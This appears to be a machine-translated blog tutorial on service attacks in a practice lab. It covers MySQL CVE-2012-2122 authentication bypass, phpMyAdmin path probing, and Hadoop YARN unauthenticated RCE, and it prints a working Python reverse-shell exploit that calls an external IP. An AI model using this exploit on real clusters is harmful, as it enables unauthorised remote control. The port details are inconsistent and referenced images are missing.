サービス攻撃と防御 - データベースセキュリティ - サービスアプリケーションのセキュリティ問題とテストプロセス - Mysql&Hadoop&不正アクセス&RCE - 脆弱性の再発

目次

1. サービスアプリケーションのセキュリティ問題

1. 不適切な構成 - 不正アクセス

2. セキュリティ メカニズム - 特定のセキュリティ脆弱性

3. セキュリティ メカニズム - 脆弱なパスワード ブラスト攻撃

2. サービス アプリケーションのセキュリティ テストのアイデア

1. サービスが開いているかどうかを判断する

2. サービスの種類を決定する

3. 使用方法の決定

3.Mysql-不正アクセス-CVE-2012-2122の悪用

1. 脆弱性の概要

2. 脆弱性の再発

3. 補足知識ポイント

4. RCEを実行するHadoop-不正アクセス組み込み連携コマンド

1.Hadoop の紹介

2. 脆弱性の再発


1. サービスアプリケーションのセキュリティ問題

1. 不適切な構成 - 不正アクセス

        相手方がサービス アプリケーションをビルドする場合、既定の構成が使用されるか、一部のセキュリティ構成が自分で変更されるため、不適切な構成やセキュリティ上の問題が発生します。

        最も一般的なものの 1 つは、不適切な構成による不正アクセスです。

2. セキュリティ メカニズム - 特定のセキュリティ脆弱性

        不正アクセスは、一般に不適切な設定が原因で発生します。つまり、ソフトウェア自体には問題がなく、セキュリティ メカニズムは主にソフトウェアまたはアプリケーション サービス自体の問題であり、設定とは関係ありません。 

3. セキュリティ メカニズム - 脆弱なパスワード ブラスト攻撃

        一部のサービスでは、パスワードの検証を使用して、サービスが開始されているか無効になっているかを判断しています. たとえば、データベースに組み込まれているデータベースには、アカウント番号とパスワードを含むユーザーがいます. 設定されたアカウント番号とパスワードが単純すぎると、攻撃者は脆弱なパスワードを推測してアカウント番号とパスワードを取得し、入力していくつかのセキュリティ テストを実行できます。

2. サービス アプリケーションのセキュリティ テストのアイデア

1. サービスが開いているかどうかを判断する

        サービスのセキュリティの問題について話しているため、つまり、現在のサービスが存在しない場合、現在のサービスのセキュリティの問題は確実に存在せず、テストを続行する必要はありません。

  • ポートスキャン

        nmap などのツールを使用できます. 原則として, サービスを開きたい場合は, 対応するポートを開く必要があります. これらのポートのほとんどはデフォルトです. つまり, サービスが開いているかどうかはポート番号。たとえば、mysql データベースのデフォルトのポート番号は 3306、Oracle データベースのデフォルトのポート番号は 1521、SQL Server データベースのデフォルトのポート番号は 1433、Redis データベースのデフォルトのポート番号は 6379 です。

        もちろん、ユーザーはポート番号を変更することもできますが、通常は変更されません。

        ただし、特別なケースがあります。サービスは明らかに開いていますが、ポートは開いていません。なぜですか?

        3 つの理由:

        ①イントラネットにある(主な理由)。

                そのサービスはイントラネット ホストに配置されるため、Web やデータベースなど、多くのサービス (ポート) がイントラネットで開かれますが、Web を外部ネットワークにマップするだけなので、そのサービスが外部ネットワークにあることしかわかりません。ネットワークは有効になっていますが、スキャンするときはネットワーク ホストのみをスキャンし、ネットワーク ホストは処理のためにデータをイントラネットに転送するため、対応するサービス ポートの開放を検出できません。

        (2) ポートが変更されている (可能性は低い)。

        (3) アプリケーションからの干渉に対する保護。

  • 組み合わせ当て

        つまり、例えばサービスAがあれば、サービスBが存在する可能性が高いということを知る必要があります。

  • 情報源

        セキュリティ テスト中にエラー レポートやプロンプトを返すサービスがいくつかあり、これに基づいて特定のサービスがあることがわかります。

2. サービスの種類を決定する

        サービスの種類に基づいて存在するサービスを特定し、存在する可能性があるセキュリティの問題と、既存のセキュリティの問題を利用する方法を特定します。

  • データベース
  • ファイル転送
  • リモコン

        たとえば、Windows システムへのリモート接続に使用されるリモート デスクトップ プロトコル (RDP) は、TCP ポート 3389 を使用します。Linux システムは、リモート アクセスと制御に SSH (Secure Shell) プロトコルを使用でき、使用される TCP ポートは 22 です。接続する際には、正しい口座番号とパスワードを入力する必要があります.これがこのプロセスの重要なポイントです.口座番号とパスワードを取得すると、攻撃者は直接接続することができます.これは、サーバーをダウンさせることと同じです. 攻撃者は、パスワード ブラストを使用して攻撃することができます。

  • データ通信

3. 使用方法の決定

        以前に判断した既存のサービスとサービスの種類を使用して、次のステップに進むために考えられるセキュリティの問題をどのように使用するかを決定します。

  • 機能の脆弱性

        サービス自体のセキュリティ上の問題に応じて使用してください。

  • 不正アクセス

       相手方のサービスアプリケーションの設定が不適切で、不正アクセスの可能性があります。

  • 弱いパスワード ブラスト

        アカウントのパスワードに関しては、アカウント パスワード ブラストを使用して推測できます。

3.Mysql-不正アクセス-CVE-2012-2122の悪用

1. 脆弱性の概要

  • 影響を受けるバージョン:
    • 5.1.62、5.2.12、5.3.6、5.5.23 の MariaDB バージョンはそうではありません。
    • 5.1.63、5.5.24、5.6.6 の MySQL バージョンはそうではありません。
  • 脆弱性の説明:

        MariaDB/MySQL に接続する際に、入力されたパスワードが想定される正しいパスワードと比較されますが、誤った処理により、memcmp() がゼロ以外の値を返しても、MySQL は 2 つのパスワードが同じであると認識します。つまり、ユーザー名を知っている限り、試行を続ければ SQL データベースに直接ログインできます。発表によると、1回の騙し回数は約256回。

2. 脆弱性の再発

        最初に環境を起動します。

        環境の開いているポートをスキャンするためのインターネット上のスキャン インターフェイスを見つけ、下図に示す位置に ip を入力します。

        プローブ結果は下図の通りで、3306番ポートが開いていることがわかりますので、mysqlサービスが存在することがわかります。  

        次に、上記の脆弱性が存在するかどうかを判断します。次のコマンドを実行するだけです。

        上図のコマンドを実行した後の結果が下図のようになると、パスワードが間違っているため、常にエラーが報告されているのに、ある時点で再度エラーが報告されていないことがわかります。ただし、データベースに直接入力されます。

3. 補足知識ポイント

        mysql のデフォルト構成では、ローカルで root ユーザーにしかログインできず、リモート接続要求は拒否されるため、接続することさえできないため、パスワード ブラストを実行できません。

        そのため、相手のサーバー上に構築されたサードパーティのデータベース管理アプリケーションに属しているため、phpMyAdmin のようなものを使用して推測することしかできず、それを使用してデータベースにログインできます。 local から local にデータが送られるので、テストが可能です。

        Web サイトに phpMyAdmin が存在するかどうかを判断するにはどうすればよいでしょうか? ブラウザーを使用して Web サイトにアクセスし、URL アドレス バーに次の内容を入力してみてください (ディレクトリ スキャン ツールを使用して直接スキャンし、関連があるかどうかを確認することもできます)。パス):

  • /phpmyadmin
  • /pma
  • /myadmin
  • /mysql

        phpMyAdmin のログイン ページが表示された場合は、サイトに phpMyAdmin が存在し、デフォルトのログイン資格情報でログインできる可能性が高くなります。

        404 エラー ページが表示された場合は、そのサイトの phpMyAdmin が存在しないか、別の場所に移動されている可能性があります。

        ただし、上記の URL のいずれかが表示されない場合でも、サイトに phpMyAdmin が存在する可能性を完全に排除することはできません。管理者は、検出を避けるために、phpMyAdmin の名前を変更したり、別の場所に移動したりしている可能性があります。そのため、Web サイトのセキュリティを評価する際には、追加のセキュリティ チェックを実行する必要があります。

4. RCEを実行するHadoop-不正アクセス組み込み連携コマンド

1.Hadoop の紹介

        Hadoop は、大規模なデータ セットを処理するためのオープン ソースの分散コンピューティング プラットフォームです。分散ストレージと分散処理機能を提供し、大規模なサーバー クラスターで効率的なデータ処理を実行できます。

        通常、データ分析、データ マイニング、機械学習、その他のアプリケーション シナリオなど、大規模なデータ セットを処理するために使用されます。その設計思想は、大規模なデータを複数のデータ ブロックに分割し、これらのデータ ブロックを複数のコンピューティング ノードで並列処理することにより、効率的なデータ処理を実現することです。

        一般的に使用されるポート構成は次のとおりです (通常、主にポート 50010 を調べます)。 

2. 脆弱性の再発

        範囲に入ったら、データベース オプションで [Hadoop] を選択します。

        環境を開始します。

        範囲で指定されたアドレスに移動します。

        /cluster/apps ページにアクセスします (このページの存在は、不正アクセスの脆弱性があることを示しています)。

        シェルを反転するには、次の公式 exp を使用します。

#!/usr/bin/env python

import requests

target = 'http://123.58.236.76:31367/' # 将这里更改为目标主机地址,监听端口为9999
lhost = '47.94.236.117' # 输入你的ip地址(外网反弹地址)在这里,是用来接收shell的回连地址,监听端口为9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

        デスクトップに py ファイルを作成して、上記の exp を保存します。

        次のコマンドを入力して、ポート 7777 でリッスンを開始します。

        cmd と入力し、次のコマンドを入力して、新しく作成された exp を実行します。

        バウンスが正常に受信されたことがわかります。


次の記事: https://blog.csdn.net/weixin_62808713/article/details/130451511


おすすめ

転載: blog.csdn.net/weixin_62808713/article/details/130444142